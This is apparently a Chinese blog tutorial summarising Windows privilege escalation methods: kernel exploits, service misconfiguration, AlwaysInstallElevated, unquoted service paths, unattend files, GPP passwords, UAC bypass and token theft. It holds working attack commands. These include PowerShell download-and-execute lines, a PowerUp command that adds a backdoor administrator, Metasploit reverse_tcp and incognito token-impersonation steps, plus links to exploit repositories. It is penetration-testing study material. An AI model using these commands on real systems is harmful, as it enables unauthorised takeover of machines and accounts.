Windows提权小结
摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑
总结一下Windows提权的部分,以后有时间再补一下Linux提权
这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了......欢迎去各大社区学习大佬们的操作
关于第三方提权以后再说
0x00前言
常见的Windows权限有三种:user administrator system (当然还有其他的)
administrator管理员权限是比较高的,但是如果涉及到读取系统文件,还是要靠system权限
和web提权一样,Windows提权也可以分成横向提权和纵向提权,实际上那些可利用的方法默认都是纵向提权,即从低权限到高权限
Windows提权的分类方法呢,也是五花八门的
当然可以利用第三方漏洞进行提权,比如各种数据库提权,但我觉得这部分不好划分到Windows系统提权这边儿,有些乱,就分到数据库提权的专题了
那以后有机会整理下数据库提权的内容......
0x01 系统内核溢出漏洞提权
第一种要介绍的提权办法就是这个溢出漏洞提权,如果目标机器没有打相应的补丁,就可以利用(啊之所以把它放在第一个并不是说优先级最高,并不推荐优先考虑内核溢出漏洞)
首先要收集一下目标系统的信息
whoami /groups
如果像图中一样,看到是medium权限,就想想如何提升到high
执行命令,查看安装了哪些补丁,或者systeminfo
找到相应的提权漏洞,且没打过补丁,可以利用相应的exp就好了
找了几个Windows提权exp整理链接,是否可用需要大家自行测试判断,有更全的欢迎评论补充(话说我忘记我电脑里的exp都是哪里下载的。。。)
https://github.com/lyshark/Windows-exploits
https://github.com/klsfct/getshell
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/Ascotbe/Kernelhub
于是问题转变成了:怎么去根据缺少的补丁去找exp?或者说怎么去找缺失的补丁?
(1)msf
msf中存在post/windows/gather/enum_patches模块
最好是在meterpreter中run post/windows/gather/enum_patches 这个脚本
就能列出目标机器补丁及利用情况
当然,结果仅供参考
(2)wes
下载链接:https://github.com/bitsadmin/wesng
全名:Windows exploit suggester
一款很有名的,适用于Windows系统的工具,用于比较补丁存在情况,提供相关提权漏洞信息
但是这个玩意是个py,需要有py环境,不过这个不算啥问题
它需要把目标系统systeminfo的信息导入一个txt文件,再把这个txt文件拖回攻击者本机,在攻击者本机上执行相关脚本加以判断。所以我说需要py环境不算啥问题,谁机器上没有py啊
具体使用方法不说了网上找吧
(3)Sherlock.ps1脚本
下载链接:https://github.com/rasta-mouse/Sherlock
相关使用方法介绍:https://www.freebuf.com/sectool/131393.html
还有一些脚本工具对Windows支持不好或者一般比如vulmap、WindowsVulnScan什么的不说了
0x02 错误配置提权
1.系统服务权限配置错误
一般来说,Windows服务,以system权限运行的,其相关文件键值都是受到保护的,不能被修改的
但是,如果有些服务没有得到有效保护,就会出现低权限用户可以操作有关系统调用的可执行文件的这种状况,如果替换掉文件,新文件随系统自启动而被调用,从而获得系统权限
所以:如果相关服务未运行,就替换掉原来的服务,再重启服务;如果正在运行且无法中止,常采用DLL劫持并重启服务
(1)PowerUp脚本
下载链接: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
本地cmd运行方法 powershell -exec bypass -Command "& {import-module .\PowerUp.ps1;Invoke-Allchecks}"
列出所有可能存在问题的服务
或者远程 powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxxx/xxxx/xxxxx/xxxxx/xxx/powerup.ps1'); Invoke-AllChecks"
当然,要把此脚本PowerUp.ps1搞到目标机器上哈
可执行类似如下的命令,写一个服务来添加用户
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('powerup.ps1的绝对路径'); Install-ServiceBinary -ServerName 'WTF' -UserName LCX -Password NOWAY
(我在ServerName处写的WTF是因为要从之前一步执行脚本得到的结果中筛选一个有问题的服务名,而那个服务名就叫WTF或者叫别的什么东西,总之这两者要对应,不是随便写的)
对方一重启系统,我这个新的高权限用户LCX就会加进去
(2)msf service_permissions
设置好SESSION和payload中的LHOST、LPORT
这个SESSION是meterpreter的session号的那个session不是别的什么session更不是乱写的,此模块想要成功需要借助已有的一个meterpreter会话
正常会反弹一个新的具有system权限的meterpreter的,我并没有成功(lll¬ω¬),貌似与原meterpreter的运行权限有关(决定是新建服务还是劫持服务),欢迎各位兄弟积极尝试
2.注册表键AlwaysInstallElevated
如果启用此策略设置项,任何权限用户都能以system权限安装恶意MSI文件(Microsoft Windows Installer,常见的以.msi为后缀的文件)
如果像我这样,在计算机配置和用户配置中都启用了这一项,就很麻烦了
相应的注册表键中AlwaysInstallElevated位置就会置1
还是可以使用PoweUp.ps1下的Get-RegistryAlwaysInstallElevated模块检查注册表键是否被设置
如果,返回为true,就说明存在我上面启用配置的情况,管理员不讲武德,希望你好自为之好好反思
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('http:/xxxx/xxxxx/xxxx/xxxx/powerup.ps1'); Get-RegistryAlwaysInstallElevated
远程加载或者
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('powerup.ps1本地绝对路径'); Get-RegistryAlwaysInstallElevated
把脚本传到目标机器上执行本地执行
可以利用msf
具体还是和上文一样,需要一个现成的meterpreter它的session参数,run一下提权
3.可信任的服务路径漏洞(TSP---trusted service path)
利用Windows文件路径解析特性,如果一个服务的可执行文件的路径没有被双引号引起来且包括空格,那么这个服务就是有漏洞的
如果路径与服务有关,则任意创建一个服务
如果路径与可执行文件有关,则任意创建一个可执行文件
由于Windows服务常常用系统权限运行的,但是如果路径中有空格,就会产生不一样的结果
例如"C:\Program Files\Microsoft Office\lcx.exe"
会依次判断C:\Program.exe
C:\Program Files\Microsoft.exe
C:\Program Files\Microsoft Office\lcx.exe
这条命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
查一下有哪些服务路径没有被引号引起来
嗯......顺便看一下路径里有没有空格
然后把想要利用system权限执行的应用程序重命名,比如我要执行hhh.exe,没用括号引起来的路径是C:\Program Files\Microsoft Office\......
我就把hhh.exe改成Microsoft.exe并扔到Program Files路径下(这里只是举个例子意思一下)
嗯,除了要找一个有空格,且必须可写的路径才可以利用啊,单单没引号有空格还不行,这个路径(文件夹)必须是可写的,所以这个方法要求很多,比较鸡肋
用这个系统命令icacls 查看选择的目标路径
everyone是说所有用户对此文件夹有完全控制的权限
(OI)(CI)(F)是指对此文件夹有读写删除其下文件、子目录的权限,可以说是非常齐全了,这种就是我们需要的目标
当然图我只是一个演示,这种条件苛刻的并不好找
之后执行sc stop 服务名
sc start 服务名
重启服务即可实现提权
实在鸡肋,加了引号就不能用了
4.自动安装配置文件
管理员给内网批量配置环境时,可能会使用脚本部署
如果安装配置文件包含管理员账号密码,就可以用管理员的权限操作
执行 dir /b /s c:\Unattend.xml 找应答文件
打开看看,有没有明文或者密文密码
同理再找找有没有sysprep.inf、sysprep.xml这种应答文件
kali上还有利用模块 post/windows/gather/enum_unattend (我是没用过)
5.计划任务
schtasks /query /fo LIST /v
看一下计划任务
推荐工具 accessChk,用于Windows中系统查询管理
下载链接:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk
如果攻击者对以高权限运行的任务所在的目录有写权限,可以使用恶意程序覆盖原程序
查看指定目录权限配置
accesschk.exe -dqv "C:\Windows\SysWOW64\Macromed\Flash" -accepteula
RW为可读写,R只读,W可写
看一下当前用户对这个目标目录是不是有W权限,如果有可以篡改目录中的文件,让假文件随高权限的计划任务一起执行,实现权限提升
6.Empire内置模块
Empire中也有相关提权漏洞搜索应用的功能
usemodule privesc/powerup 查看powerup模块列表,里面有很多模块可以尝试,用于检查漏洞,执行脚本提权
额......测试效果一般
0x03 组策略首选项提权
域环境中的域主机太多了,多为批量部署。域管理员(比如我,我反思)常常会通过域控的组策略批量修改修改域主机的本地管理员密码(注意此处不是域管理员密码)
这就可能导致一个问题:所有受组策略影响,被批量修改密码的本地管理员账户,他们的密码是一样的
所有域策略放在域控的 C:\Windows\SYSVOL\DOMAIN\Policies中,去找吧
这个SYSVOL文件夹是域控自带的,用于存储登录脚本、组策略、域信息等
当管理员新建一个组策略的时候,会在SYSVOL中自动生成一个XML文件,并把该组策略更新后的组策略密码在XML文件中存了一份
这个密码是加密后存的,但是密钥已经公开了,相当于加密了个寂寞
xml文件中的cpassword项就是密码
这个方法很老了,成功率低,所以不再详细介绍了
感兴趣参考 https://www.cnblogs.com/Yang34/p/12492270.html
0x04 bypassUAC提权
在Windows中, 平时或多或少都会遇到UAC(user account control 用户账户控制)
类似这种东西
其确保了进行某些操作前,完成对用户身份的验证,避免恶意程序运行、安装、更改
UAC有四种设置要求:
始终通知--任何程序要使用最高权限的时候都通知本地用户
仅在程序试图更改我的计算机时通知我--UAC默认设置,除了本地Windows以外的程序要使用高权限时通知本地用户
仅在程序试图更改我的计算机时通知我(不降低桌面亮度)--同上
从不通知--用户为系统管理员时,所有程序都可以以最高权限运行
也可以在这里修改
如果对方机器开了UAC,那么我们的程序执行时就因为需要高权限确认但我们无法确认进而卡住,无法执行,还会暴露
怎么办
1.msf bypassuac
当已经获得目标机器的一个meterpreter的shell时
getuid发现此shell权限是个普通用户权限,不够,getsystem也不行
可以把当前shell,background后台运行
选择合适的模块,设置set payload windows/meterpreter/reverse_tcp 和 挪到后台运行的老SESSION号......
利用参考这篇文章 https://www.freebuf.com/articles/system/185311.html
实际上效果一般,对方机器上的杀软不出意外的话会对此有所防护
有些模块有很多限制要求:比如必须在管理员组中、UAC为默认设置、对方系统要求等
2. msf RunAs
也是一个msf中的模块,局限性也比较大
思想和之前的msf那些模块一样
也是有要求的,要求当前用户在管理员组中,而且对方机器还是会弹出UAC的框要对方手动点
没什么鸟用
说句题外话,大佬的无弹窗渗透实验一波流操作:https://blog.csdn.net/niexinming/article/details/77807243
3.其他模块,如
Nishang 中的Invoke-PsUACme模块
Empire中的bypassuac模块、bypassuac_wscript
请参考网上其他师傅们的文章
以上只是一些简单的直接应用的模块
实际上绕过UAC提权的按原理分类可以分为DLL劫持、COM接口等等等等,还有很多无窗口的操作
上述那些模块也是应用了这些原理
更多内容可以参考这两篇文章
https://www.freebuf.com/vuls/183914.html
https://blog.csdn.net/weixin_30760895/article/details/98142206
具体效果有待测试
0x05 令牌窃取
令牌相当于另一种形式的账户和密码,具有难以破解的随机性,用于决定当前请求是否被许可及其用户归属问题
那我们可以通过窃取高权限用户的令牌获得高权限实现提权
1.msf 令牌窃取
正常获取meterpreter之后,有很多操作,详情请看https://www.cnblogs.com/lcxblogs/articles/14163368.html
上面那篇文章总结得很好,其中也有讲到关于msf中令牌窃取的操作
即use incognito
之后
list_tokens -u
可见目标机器中(特指在当前meterpreter获取到shell权限下看到的令牌,如果这个权限很低就看不到多少令牌,权限越高看到的令牌越多。当然域管理员如果没登录过
这台机器也是不会有其令牌的,想利用域管理员令牌前提是其登录过这台机器且没重启)能看到的、存在的令牌
可能会存在两种令牌:Delegations Tokens--授权令牌(可交互)
Impersonation Tokens--模拟令牌(非交互)
之后用impersonate_token 加 令牌名的形式窃取高权限令牌
(注意:令牌名中的是这种格式,主机名\\用户名,多了一个\不要漏掉)
2.烂土豆提权
即常见的rotten potato ,用于把本地用户权限提到本地高权限 下载链接 https://github.com/foxglovesec/RottenPotato
前面步骤和上一小点一样use incognito然后list_tokens -u找令牌
之后把此exe文件上传到目标机器里,执行
execute -cH -f ./rottenpotato.exe
最后用impersonate_token 加 令牌名的形式窃取高权限令牌
(注意:令牌名中的是这种格式,主机名\\用户名,多了一个\不要漏掉)
原理请参考:http://hackergu.com/powerup-stealtoken-rottenpotato/
除了msf,Empire也有steal_token功能用于令牌窃取,这个看以后如果说到Empire再说吧
后篇Linux提权指路链接 https://www.cnblogs.com/lcxblogs/p/13983754.html
部分内容与行文结构参考ms08067实验室《内网安全攻防》一书
随便转载,请标明作者出处